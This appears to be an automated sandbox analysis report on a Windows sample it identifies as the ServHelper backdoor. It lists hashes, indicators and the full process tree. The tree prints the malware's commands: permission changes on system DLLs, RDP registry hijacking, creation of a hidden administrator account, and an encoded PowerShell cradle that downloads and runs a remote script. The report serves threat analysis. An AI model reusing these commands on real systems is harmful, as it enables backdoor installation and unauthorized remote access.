Analysis
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max time kernel
128s -
max time network
28s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
01-10-2021 08:51
Static task
static1
Behavioral task
behavioral1
Sample
c1e0df4f2321e9375baee3a0a26fba64.exe
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
c1e0df4f2321e9375baee3a0a26fba64.exe
Resource
win10v20210408
General
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Target
c1e0df4f2321e9375baee3a0a26fba64.exe
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Size
5.7MB
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MD5
c1e0df4f2321e9375baee3a0a26fba64
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SHA1
dcf4d90d2f3fd11f14b5413be5b7dde70ff33f7c
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SHA256
65a112982cc0d4e56c078c5333ed3553905bf4f3a639f2ff6e056ab518b6290e
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SHA512
4bc74603d8a7a28a0c965cb78d7762c01312cdb6ee7d8be8f822ebb6bf3dbd273ac76c3ad5d0c70f9fa9439981c19a9bed4525f445d7faddb93e9db5a66a0ad7
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1300 powershell.exe 6 1300 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1004 takeown.exe 564 icacls.exe 1236 icacls.exe 548 icacls.exe 1808 icacls.exe 432 icacls.exe 1676 icacls.exe 1216 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000a000000012210-130.dat upx behavioral1/files/0x0009000000012213-131.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1868 Process not Found 1868 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 548 icacls.exe 1808 icacls.exe 432 icacls.exe 1676 icacls.exe 1216 icacls.exe 1004 takeown.exe 564 icacls.exe 1236 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KCSYCTH1GD6ITYIBZ0G6.temp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 605f1991a1b6d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1788 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 368 powershell.exe 1812 powershell.exe 1680 powershell.exe 1484 powershell.exe 368 powershell.exe 368 powershell.exe 368 powershell.exe 1300 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 464 Process not Found 1868 Process not Found 1868 Process not Found 1868 Process not Found 1868 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 368 powershell.exe Token: SeDebugPrivilege 1812 powershell.exe Token: SeDebugPrivilege 1680 powershell.exe Token: SeDebugPrivilege 1484 powershell.exe Token: SeRestorePrivilege 1236 icacls.exe Token: SeAssignPrimaryTokenPrivilege 812 WMIC.exe Token: SeIncreaseQuotaPrivilege 812 WMIC.exe Token: SeAuditPrivilege 812 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 812 WMIC.exe Token: SeIncreaseQuotaPrivilege 812 WMIC.exe Token: SeAuditPrivilege 812 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1784 WMIC.exe Token: SeIncreaseQuotaPrivilege 1784 WMIC.exe Token: SeAuditPrivilege 1784 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1784 WMIC.exe Token: SeIncreaseQuotaPrivilege 1784 WMIC.exe Token: SeAuditPrivilege 1784 WMIC.exe Token: SeDebugPrivilege 1300 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1544 wrote to memory of 368 1544 c1e0df4f2321e9375baee3a0a26fba64.exe 28 PID 1544 wrote to memory of 368 1544 c1e0df4f2321e9375baee3a0a26fba64.exe 28 PID 1544 wrote to memory of 368 1544 c1e0df4f2321e9375baee3a0a26fba64.exe 28 PID 368 wrote to memory of 1460 368 powershell.exe 30 PID 368 wrote to memory of 1460 368 powershell.exe 30 PID 368 wrote to memory of 1460 368 powershell.exe 30 PID 1460 wrote to memory of 588 1460 csc.exe 31 PID 1460 wrote to memory of 588 1460 csc.exe 31 PID 1460 wrote to memory of 588 1460 csc.exe 31 PID 368 wrote to memory of 1812 368 powershell.exe 32 PID 368 wrote to memory of 1812 368 powershell.exe 32 PID 368 wrote to memory of 1812 368 powershell.exe 32 PID 368 wrote to memory of 1680 368 powershell.exe 34 PID 368 wrote to memory of 1680 368 powershell.exe 34 PID 368 wrote to memory of 1680 368 powershell.exe 34 PID 368 wrote to memory of 1484 368 powershell.exe 36 PID 368 wrote to memory of 1484 368 powershell.exe 36 PID 368 wrote to memory of 1484 368 powershell.exe 36 PID 368 wrote to memory of 1004 368 powershell.exe 38 PID 368 wrote to memory of 1004 368 powershell.exe 38 PID 368 wrote to memory of 1004 368 powershell.exe 38 PID 368 wrote to memory of 564 368 powershell.exe 39 PID 368 wrote to memory of 564 368 powershell.exe 39 PID 368 wrote to memory of 564 368 powershell.exe 39 PID 368 wrote to memory of 1236 368 powershell.exe 40 PID 368 wrote to memory of 1236 368 powershell.exe 40 PID 368 wrote to memory of 1236 368 powershell.exe 40 PID 368 wrote to memory of 548 368 powershell.exe 41 PID 368 wrote to memory of 548 368 powershell.exe 41 PID 368 wrote to memory of 548 368 powershell.exe 41 PID 368 wrote to memory of 1808 368 powershell.exe 42 PID 368 wrote to memory of 1808 368 powershell.exe 42 PID 368 wrote to memory of 1808 368 powershell.exe 42 PID 368 wrote to memory of 432 368 powershell.exe 43 PID 368 wrote to memory of 432 368 powershell.exe 43 PID 368 wrote to memory of 432 368 powershell.exe 43 PID 368 wrote to memory of 1676 368 powershell.exe 44 PID 368 wrote to memory of 1676 368 powershell.exe 44 PID 368 wrote to memory of 1676 368 powershell.exe 44 PID 368 wrote to memory of 1216 368 powershell.exe 45 PID 368 wrote to memory of 1216 368 powershell.exe 45 PID 368 wrote to memory of 1216 368 powershell.exe 45 PID 368 wrote to memory of 1904 368 powershell.exe 46 PID 368 wrote to memory of 1904 368 powershell.exe 46 PID 368 wrote to memory of 1904 368 powershell.exe 46 PID 368 wrote to memory of 1788 368 powershell.exe 47 PID 368 wrote to memory of 1788 368 powershell.exe 47 PID 368 wrote to memory of 1788 368 powershell.exe 47 PID 368 wrote to memory of 1160 368 powershell.exe 48 PID 368 wrote to memory of 1160 368 powershell.exe 48 PID 368 wrote to memory of 1160 368 powershell.exe 48 PID 368 wrote to memory of 628 368 powershell.exe 49 PID 368 wrote to memory of 628 368 powershell.exe 49 PID 368 wrote to memory of 628 368 powershell.exe 49 PID 628 wrote to memory of 1516 628 net.exe 50 PID 628 wrote to memory of 1516 628 net.exe 50 PID 628 wrote to memory of 1516 628 net.exe 50 PID 368 wrote to memory of 1872 368 powershell.exe 51 PID 368 wrote to memory of 1872 368 powershell.exe 51 PID 368 wrote to memory of 1872 368 powershell.exe 51 PID 1872 wrote to memory of 1928 1872 cmd.exe 52 PID 1872 wrote to memory of 1928 1872 cmd.exe 52 PID 1872 wrote to memory of 1928 1872 cmd.exe 52 PID 1928 wrote to memory of 1592 1928 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe"C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:368 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\im5o0-zu.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC8DA.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC8D9.tmp"4⤵PID:588
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1812
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1484
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1004
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:564
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1236
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:548
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1808
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:432
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1676
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1216
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1904
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1788
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1160
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1516
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1592
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1612
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1112
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:768
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C:\Windows\system32\net.exenet start TermService5⤵PID:1724
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1880
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:564
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:636
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1892
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1472
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:984
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 8zkdgHa8 /add1⤵PID:588
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 8zkdgHa8 /add2⤵PID:564
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 8zkdgHa8 /add3⤵PID:1924
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1296
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1936
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1916
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD1⤵PID:1904
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD2⤵PID:1064
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD3⤵PID:1632
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:664
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1492
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1844
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 8zkdgHa81⤵PID:1516
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 8zkdgHa82⤵PID:1132
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 8zkdgHa83⤵PID:1768
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:984
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:812
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:288
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1504
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1300
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